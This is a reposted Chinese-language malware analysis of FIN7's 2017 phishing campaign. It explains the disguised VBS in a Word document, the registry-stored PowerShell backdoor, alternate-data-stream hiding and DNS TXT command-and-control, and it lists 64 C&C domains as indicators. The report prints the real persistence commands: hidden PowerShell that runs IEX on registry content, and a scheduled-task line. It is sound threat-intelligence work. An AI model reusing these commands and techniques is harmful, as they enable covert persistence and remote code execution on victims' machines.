内容简介:FIN7 APT组织攻击木马分析报告
事件背景
2017年3月,FireEye发布了一篇名黑客组织FIN7的APT攻击简报,报告称FIN7组织以钓鱼邮件为攻击渠道,主要对美国金融机构渗透攻击。组织的攻击利用DNS协议的TXT字段进行C&C通信。360威胁情报中心对此APT组织的攻击链条进行了梳理,对木马相关的技术进行了分析,揭示其一些有意思的技巧。
目标样本
H ash | d04b6410dddee19adec75f597c52e386 |
---|---|
文件类型 | W ord文档 |
文件大小 | 1,834,496 字节 |
攻击特点与攻击流程
FIN7攻击特点主要体现在:
1. 全部攻击过程使用非PE实现,钓鱼使用doc文件,后门使用powershell文件。
2. 使用ADS数据隐藏保存在磁盘中的非PE文件
3. 后门文件保存在注册表中,功能由Powershell实现
4. 与C&C通信使用DNS协议的TXT记录
5. C&C地址从64个硬编码的地址中随机选择
攻击流程:
在整个攻击过程中,没有使用到PE文件,这在一定程度上躲避了安全软件的查杀。落地的文件也进行了技术上的隐藏,而真正的后门程序却已加密的方式存储在注册表中。
攻击者以钓鱼邮件为进入渠道,在恶意文档中嵌入vbs脚本,vbs脚本运行后解密后门程序写入注册表中,同时将调用后门程序的脚本以ads隐藏在磁盘文件中。在后门运行后,使用DNS TXT做为C&C通信方式。
样本分析
钓鱼邮件打开后,显示如下图所示,可以看到,文档中插入了一张图片,图片字体显示模糊。
通过分析,得到了钓鱼文档的制作过程:分别插入了一个 vbs的OLE对象与一张字迹模糊的图片,将OLE对象的图标设置为透明图标并置入图片对象的顶层,最将两个对象组合到一起,这样就达到了双击图片,实际上运行了vbs脚本的目的。
双击图片,就会打开vbs脚本,只有当用户点击弹出的对话框中的确定后,才会运行vbs脚本,如果在这时,用户点击了取消,就可以阻断这次攻击。
为了诱导用户双击图片运行vbs脚本,文档中还写入“ This document is protected by Microsoft Office and requires human verification Please Enable Editing and Double Click on page below. ”(文档被 Microsoft Office 保护,请启用编辑并双击下面的图片)。
VBS 功能:
当上面的图片被双击运行后,程序后台会运行VBS脚本,该脚本功能为:调用powershell解密一大段字符,从代码中可以看出,解密出来的为一gz文件,因此可以将这大段base64解密后,保存成gz格式,使用解压 工具 得到压缩文件继续分析。
样本加载感染过程:
gz中的文件也是一个powershell脚本。脚本经过混淆,实现的功能是:判断当前用户是不是administartor权限,根据不同的权限写入不同的注册表内容,这些内容为开机后会解密执行的代码,随后通过ADS将加载注册表内容的vbs脚本写入 C:\ProgramData\ windows :CtxDnsClient.vbs 文件中,并将该文件加入启动项和计划任务中。
原始的 powershell内容,可以看到powershell脚本经过了混淆:
后门程序写入注册表
P owershell写入到注册表中的后门程序的内容如下:
ADS隐藏磁盘文件
将要实现开机启动的文件写入到磁盘文件 C:\ProgramData\Windows:CtxDnsClient.vbs 中。
对于 Windows:CtxDnsClient.vbs 文件,使用了ADS数据隐藏技术。而通过ADS隐藏的数据在Windows系统中无法显示,文件大小也显示为0字节:
但是使用dir /r命令,可以看到ADS中有隐藏的数据
启动项中的隐藏的ads数据,dump出来后显示如下:
使用 ADS中隐藏数据内容为:
cmd /c "echo Set objShell = CreateObject(""Wscript.shell"") > C:\ProgramData\Windows:CtxDnsClient.vbs" cmd /c "echo objShell.run ""powershell -WindowStyle Hidden -executionpolicy bypass -C IEX ((Get-ItemProperty -Path HKCU:Software\Microsoft\Windows).Part)"",0 >> C:\ProgramData\Windows:CtxDnsClient.vbs"
添加开机启动
创建的启动项,启动项位置为 HKCU \ Software\Microsoft\Windows\CurrentVersion\Run\ :
添加计划任务:
schtasks.exe /F /create /tn CtxDnsClient /tr "C:\Windows\System32\wscript.exe C:\ProgramData\Windows:CtxDnsClient.vbs " /sc onidle /i 30
通过上面这些过程,来实现程序的自启动。在系统重新启动后,启动项中的 wscript.exe 会加载 Windows:CtxDnsClient.vbs , Windows:CtxDnsClient.vbs 中会使用powershell加载 HKCU \ Software\Microsoft\Windows \ Part 内容,part中实现的功能会加载注册表相同位置下的 CtxDnsClient 的内容。这里的内容就是真正的实现CC的功能。
C&C通信功能
这部分功能主要在注册表中的 HKCU \ Software\Microsoft\Windows 下 CtxDnsClient 的内容中,主要功能为:从内置的64个域名中随机选择一个,查询该域名的SPF记录,用来实现自己的C&C通信。
创建名为 ”SourceFireSux” 的互斥体,防止程序重复运行:
编码过的 64个域名地址代码片段:
从这64个域名中,随机选取一个(如这里随机被选择到的为: pbbk.us ),加上www前缀,查询对应DNS TXT记录内容(即查询 www.pbbk.us 的dns txt记录)。
如果返回的内容为idle,则程序睡眠3.5秒到5.4秒的随机时间。
如果返回的内容为www,则表明这个域名现在正在攻击者控制之中,随后查询mail.pbbk.us的dns txt记录。
随后mail.pbbk.us返回的内容就被 powershell直接通过IEX调用执行。
IOC
木马尝试通信的C&C地址:
域名 | 注册人 | 注册时间 | 备注 |
---|---|---|---|
www.grij.us | Frank Walters | 2017/2/19 3:09 | |
www.kwoe.us | Frank Walters | 2017/2/19 3:09 | |
www.zugh.us | Frank Walters | 2017/2/19 3:09 | |
www.pafk.us | Frank Walters | 2017/2/19 3:09 | |
www.cuuo.us | Frank Walters | 2017/2/19 3:07 | |
www.ooyh.us | Frank Walters | 2017/2/19 3:07 | |
www.vxqt.us | Frank Walters | 2017/2/19 3:06 | |
www.cgqy.us | Frank Walters | 2017/2/19 3:07 | |
www.wfsv.us | Frank Walters | 2017/2/19 3:07 | |
www.palj.us | Frank Walters | 2017/2/19 3:09 | |
www.idjb.us | Frank Walters | 2017/2/19 3:09 | |
www.zjav.us | Frank Walters | 2017/2/19 3:09 | |
www.mewt.us | Frank Walters | 2017/2/19 3:06 | |
www.vkpo.us | Frank Walters | 2017/2/19 3:07 | |
www.wqiy.info | WhoisGuard Protected | 2017/2/18 19:08 | |
www.wvzu.pw | WhoisGuard Protected | 2017/2/18 0:00 | |
www.gxhp.top | WhoisGuard Protected | 2017/2/18 19:07 | |
www.hvzr.info | WhoisGuard Protected | 2017/2/18 19:07 | |
www.reld.info | WhoisGuard Protected | 2017/2/18 0:00 | |
www.vqba.info | WhoisGuard Protected | 2017/2/18 19:06 | |
www.oxrp.info | WhoisGuard Protected | 2017/2/18 19:08 | |
www.dvso.pw | WhoisGuard Protected | 2017/2/18 0:00 | |
www.bvyv.club | |||
www.bwuk.club | |||
www.cihr.site | |||
www.coec.club | |||
www.oyaw.club | |||
www.pbbk.us | |||
www.ppdx.pw | |||
www.pvze.club | |||
www.qefg.info | |||
www.qlpa.club | |||
www.ueox.club | |||
www.ufyb.club | |||
www.dbxa.pw | |||
www.eady.club | |||
www.enuv.club | |||
www.eter.pw | |||
www.utca.site | |||
www.vdfe.site | |||
www.vjro.club | |||
www.fbjz.pw | |||
www.fhyi.club | |||
www.futh.pw | |||
www.gnoa.pw | |||
www.vwcq.us | |||
www.jimw.club | |||
www.jomp.site | |||
www.jxhv.site | |||
www.kshv.site | |||
www.ysxy.pw | |||
www.zmyo.club | |||
www.zody.pw | |||
www.lhlv.club | |||
www.lnoy.site | |||
www.lvrm.pw | |||
www.mfka.pw | |||
www.nxpu.site | |||
www.oaax.site | |||
www.odyr.us | |||
www.oknz.club | |||
www.ooep.pw | |||
www.ckwl.pw | Lin Shi Mo Ban | 2015/11/11 0:00 | 不能作为IOC |
www.zcnt.pw | Lin Shi Mo Ban | 2015/11/16 0:00 | 不能作为IOC |
参考链接
*本文作者:360天眼实验室,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
CSS 压缩/解压工具
在线压缩/解压 CSS 代码
Markdown 在线编辑器
Markdown 在线编辑器